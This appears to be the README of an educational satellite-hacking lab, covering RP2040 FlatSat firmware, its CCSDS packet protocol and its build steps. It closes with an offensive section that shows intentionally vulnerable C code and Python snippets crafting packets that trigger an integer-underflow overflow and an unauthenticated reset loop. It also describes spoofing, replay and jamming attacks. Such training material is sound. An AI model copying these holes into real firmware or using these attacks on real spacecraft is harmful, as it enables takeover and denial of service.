Offensive Satellite Security Lab
- On-Board Computer: RP2040
- Command and Data Handling: SX1262 (2)
- Telemetry: BME280
- Position: LIS2DH12
- I2C
- UART
- SWD
The firmware utilizes a Asymmetric Multiprocessing (AMP) approach on the RP2040 microcontroller. By splitting tasks across two cores, the system ensures that high-speed data links do not interfere with time-critical radio operations.
- Core 0 (Mission Control & RF): Manages the physical radio interfaces (Uplink/Downlink), sensor data acquisition, and the primary telemetry state machine.
- Core 1 (OBC Data Link): Dedicated to the TinyUSB stack, handling the
usbCDCinterface to provide a high-speed command-and-control link for the On-Board Computer (OBC) or ground station simulation.
The OBC Data Link is used in case you don't have access to a SDR device to collect and send packets.
##1.2 Hardware Infrastructure
The infrastructure is designed for FlatSat testing, where hardware components are laid out for accessibility and auditing.
| Component | Description | Interface |
|---|---|---|
| MCU | Raspberry Pi RP2040 | Dual Core ARM Cortex-M0+ |
| Radio 0 | SX1262 LoRa (Uplink) | SPI0 / NSS Pin 17 |
| Radio 1 | SX1262 LoRa (Downlink) | SPI0 / NSS Pin 5 |
| IMU | LIS2DH12 Accelerometer | I2C (SDA 20, SCL 21) |
| ENV | BME280 Environment Sensor | I2C (SDA 20, SCL 21) |
| Status | WS2812B NeoPixel | GPIO 15 |
#2. Communication Protocol: Space Packet Protocol (SPP)
The core of the communication system is the CCSDS Space Packet Protocol. This allows the spacecraft to route data using Application Process Identifiers (APIDs), enabling modular subsystem addressing.
##2.1 Packet Encapsulation
Every packet consists of a Primary Header (6 bytes) and a Data Field.
- Packet Identification (2 bytes): Contains the Version, Type (0 for TM, 1 for TC), and the APID.
- Packet Sequence Control (2 bytes): Contains Segmentation Flags and the 14-bit Sequence Count.
- Packet Length (2 bytes): Total length of the data field minus one.
##2.2 APID Registry (Mission Control)
The firmware categorizes traffic into Telecommands (TC) and Telemetry (TM):
| APID | Function | Type | Payload Description |
|---|---|---|---|
0x01 |
PING | TC/TM | Connectivity heartbeat / ACK |
0x02 |
RESET | TC | Triggers a hardware watchdog reboot |
0x04 |
THRUSTER | TC/TM | Set/Get power levels for T0/T1 |
0x07 |
FLASH | TC/TM | Trigger fragmented image/firmware transfer |
0x08 |
SEND_TM | TM | Standard periodic sensor telemetry frame |
The firmware operates as a non-blocking state machine, governed by the telemetryRadioWorker.
Instead of using delay(), the worker utilizes a timeout_worker_t structure to track intervals. This allows the system to remain responsive to incoming commands while managing multiple periodic tasks:
- Sensor Telemetry: Every 10.5 seconds.
- Sync/Ping: Every 15 seconds.
- Idle Frame: Every 20 seconds.
- Ingress: Data arrives via
Radio 0orUSB CDC. - Unpacking:
spp_unpack_packetvalidates the CCSDS header and checks for version/length consistency. - Dispatch:
commandApidHandlermatches the APID to a subsystem function. - Execution: The subsystem (e.g.,
thruster.cpp) updates its internal state. - Feedback: The system usually generates a TM response or blinks the LED to confirm action.
A unique feature for educational auditing is the telemetrySPPTransmitFlash routine. It simulates the transfer of a firmware image or large data block by fragmenting it into chunks.
- Fragmentation: Data is split into 16-byte segments.
- Sequencing: Packets are marked with
START,CONTINUE, orENDflags in the SPP header. - Integrity: A custom
crc8_computeis applied to each chunk to ensure data was not corrupted during RF transit.
The NeoPixel LED provides real-time feedback for field operations without requiring a serial monitor.
| Color | Pattern | Meaning |
|---|---|---|
| White | Single Blink | Successful Downlink Transmission |
| Blue | Single Blink | Successful Uplink Reception |
| Yellow | 8 Blinks | SPP Unpacking/Parsing Error |
| Red | 8 Blinks | Hardware Interface / Radio Failure |
| Red/Yellow | Alternating | System Reboot Initiated |
This is the guide for compiling the actual firmware using Arduino platform.
Board components
Libraries
- NeoPixelBus
- RadioLib
- SparkFun_LIS2DH12
- Adafruit_BME280
- Adafruit_TinyUSB
- Board Type: Generic RP20240
- Select the Tools:
- Board Stage: IS25LP080 QSPI /4
- Flash Size: 4 MB (No FS)
- USB Stack: Adafruit TinyUSB
- Sketch -> Verify/Compile
- Sketch -> Upload
Once the firmware successfully flashed the board, you will have now two serial endpoints.
Modern satellites are no longer isolated systems; they are software-defined assets. The vulnerabilities identified in this firmware mirror historical "anomalies" and documented attacks on orbiting infrastructure.
Since the firmware lacks a Cryptographic Authentication layer (such as AES-GCM or HMAC-SHA256), the system is vulnerable to Command Spoofing.
- The Attack: An attacker uses a Software Defined Radio (SDR) to capture a legitimate "Telemetry" packet to identify the
SPACECRAFT_IDand the currentSequence Count. They then craft a "Telecommand" packet with a valid APID (e.g.,0x04for Thrusters) and transmit it at a higher power (Capture Effect) to the satellite. - Real-World Correlation: In 1998, the ROSAT (Röntgen Satellite) was allegedly compromised via a ground station breach, where attackers sent commands to point the solar panels directly at the sun, eventually frying the batteries. While that was a network breach, the lack of command-level authentication on the RF link makes this firmware susceptible to the same outcome.
The firmware's dependency on hexStringToBytes and spp_unpack_packet makes it a prime target for Protocol Fuzzing.
- The Attack: Instead of random noise, an attacker performs "Grammar-based Fuzzing." They send valid CCSDS headers but mutate the length fields, the segmentation flags, and the APIDs. Specifically, sending a
STARTflag without anENDflag, or vice versa, can cause theblock_txlogic inworker.cppto hang or behave unpredictably. - Real-World Correlation: Fuzzing the NASA Core Flight System (cFS) has revealed multiple memory corruption bugs in how the Space Packet Protocol is handled. By targeting the packet length vs. the actual payload received, attackers can trigger the "Integer Underflow" identified in the previous section.
The LoRa physical layer used in this card is resilient but not invincible.
- The Attack: * DoS (Jamming): Constant transmission on the
UPLINK_FREQprevents legitimate ground stations from reaching the satellite.- Replay: Capturing a "Reset" command (
APID 0x02) and replaying it every time the satellite completes its boot sequence.
- Replay: Capturing a "Reset" command (
- Real-World Correlation: Radio Frequency Interference (RFI) is the most common "attack" in space. Whether intentional (Electronic Warfare) or unintentional (congested spectrum), the result is a Denial of Service. Replay attacks are particularly dangerous for satellites that do not implement a "Rolling Window" or "Timestamp" validation for commands.
The dual-core architecture uses Core 1 as a USB-to-Radio bridge. If the On-Board Computer (OBC) or a connected payload is compromised, it can attack the firmware via the usbCDC interface.
- The Attack: A malicious payload on the satellite sends a malformed USB frame with
FRAME_HEADER_1andFRAME_HEADER_2. By exploiting theobcUSBRecvlogic, the payload can "Inject" commands directly into Core 0 as if they came from the Ground Station. - Real-World Correlation: This mimics a Supply Chain Attack. If a third-party sensor or payload (e.g., a camera or scientific instrument) has a vulnerability, an attacker can use it as a pivot point to take control of the satellite's bus (OBC) and command the radios.
| Attack Method | Layer | Tooling | Real-World Impact |
|---|---|---|---|
| Bit-Slipping | Physical | SDR / GNU Radio | Desynchronization of the RF link. |
| APID Brute-forcing | Link | LoRa Transceiver | Discovery of hidden "Debug" commands. |
| Telemetry Hijacking | Data | Antenna / LNA | Eavesdropping on sensitive mission data. |
| Logic Bombing | Application | Custom Python Script | Triggering the softwareReset() loop. |
In worker.cpp, the handler for SPP_APID_TC_BROADCAST_MSG contains a classic integer underflow leading to a massive buffer overflow.
void commandApidHandler(space_packet_t *space_packet) {
uint16_t apid = space_packet->header.identification & 0x7FF;
// ...
else if (apid == SPP_APID_TC_BROADCAST_MSG) {
// No payload validation
uint16_t frequency = ((uint16_t)space_packet->data[0] << 8) |
(uint16_t)space_packet->data[1];
size_t payload_total = space_packet->header.length + 1;
size_t msg_len = payload_total - 2; // <- Vulnerability here
uint8_t buffer_msg[SPP_MAX_PAYLOAD_CHUNK] = {0};
//..- Why it happens: The
header.lengthis a 16-bit field controlled by the attacker. If the attacker sends a packet withlength = 0, thenpayload_totalbecomes1. Subtracting2from an unsignedsize_tresults in an underflow, wrapping the value to0xFFFFFFFF(on a 32-bit system like RP2040). - Impact: The
memcpywill attempt to copy 4GB of data into a small 128-byte stack buffer (buffer_msg), leading to a stack smash, memory corruption, and potential Remote Code Execution (RCE). - Exploitation: Send an SPP packet with APID
0x06and a CCSDS length field set to0. The RP2040 will crash or jump to an attacker-controlled address.
data = b"\x00"
header = SpHeader.tc(apid=0x06, seq_count=1, data_len=len(data) - 1)
packet = header.pack() + data
# Output
=========== Space Packet ===========
Version: 0
Type: 01 (TC)
Secondary Header: 0
APID: 0x0006
Sequence Flags: 0x3 (Unsegmented)
Sequence Count: 1
Data Length: 0
[HEADER]
00000000 10 06 C0 01 00 00 ......
[PAYLOAD]
00000000 00 .The entire SPP implementation is "Cleartext." There is no cryptographic signature (MAC) or encryption on the Telecommands (TC).
- Why it affects the mission: Any actor with a LoRa-capable transceiver (like a Flipper Zero or an SX1262 dev board) can sniff the
DOWNLINK_FREQto see telemetry and then spoof packets on theUPLINK_FREQ. - Impact: Full spacecraft takeover. An attacker can move thrusters, reset the clock, or flash malicious data.
- Exploitation: Use a LoRa SDR to replay a
SPP_APID_TC_RESETCpacket to keep the satellite in a permanent reboot loop.
The SPP_APID_TC_RESETC command triggers a hardware watchdog reboot immediately.
else if (apid == SPP_APID_TC_RESETC) {
softwareReset(); // Calls watchdog_reboot
}- Impact: Permanent Denial of Service. Because the system does not require a "key" or "sequence" to authorize a reset, a single packet can kill the mission.
- Exploitation: Broadcast the "Reset" APID packet periodically.
data = b"\x00"
header = SpHeader.tc(apid=0x02, seq_count=1, data_len=len(data) - 1)
packet = header.pack() + data
# Output
=========== Space Packet ===========
Version: 0
Type: 01 (TC)
Secondary Header: 0
APID: 0x0002
Sequence Flags: 0x3 (Unsegmented)
Sequence Count: 1
Data Length: 0
[HEADER]
00000000 10 02 C0 01 00 00 ......
[PAYLOAD]
00000000 00 .
NoneThe worker.cpp sends high-resolution sensor data and internal states (thruster power, firmware versions) over the air unencrypted.
- Impact: An attacker can build a digital twin of the satellite, knowing exactly when it is moving or what its power levels are, aiding in timed physical attacks.
The system performs a strange "Double Decode." It receives a radio packet and then tries to parse the binary content of that packet as an ASCII Hex string.
uint8_t parsed[recvLen];
size_t parsedLen = hexStringToBytes(byteArr, recvLen, parsed);
radi_recv_cb(parsed, parsedLen);- Why it’s a vulnerability: This introduces a "WAF-bypass" style vulnerability. If there were a security filter looking for specific binary command patterns, an attacker could encode those commands as ASCII Hex to bypass the filter, which the firmware then "helpfully" decodes back into the dangerous binary command.
| Vulnerability | Type | Complexity | Impact |
|---|---|---|---|
| Command Injection Attack | Injection | Medium | Critical (RCE) |
| Broadcast Underflow | Memory Corruption | Medium | Critical (RCE) |
| No Auth/Enc | Broken Auth | Low | Critical (Takeover) |
| Spoofing Attack | Identity Theft | Medium | Critical (Impersonation) |
| Unauthenticated Reset | DoS | Low | High (Mission Loss) |
| Fuzzing Attack | Protocol/Input | Medium | High (DoS or Crash) |
| Eavesdropping Attack | Information Disclosure | Low | High (Data Leakage) |
| Double Decoding | Logic Flaw | Medium | Medium (Filter Bypass) |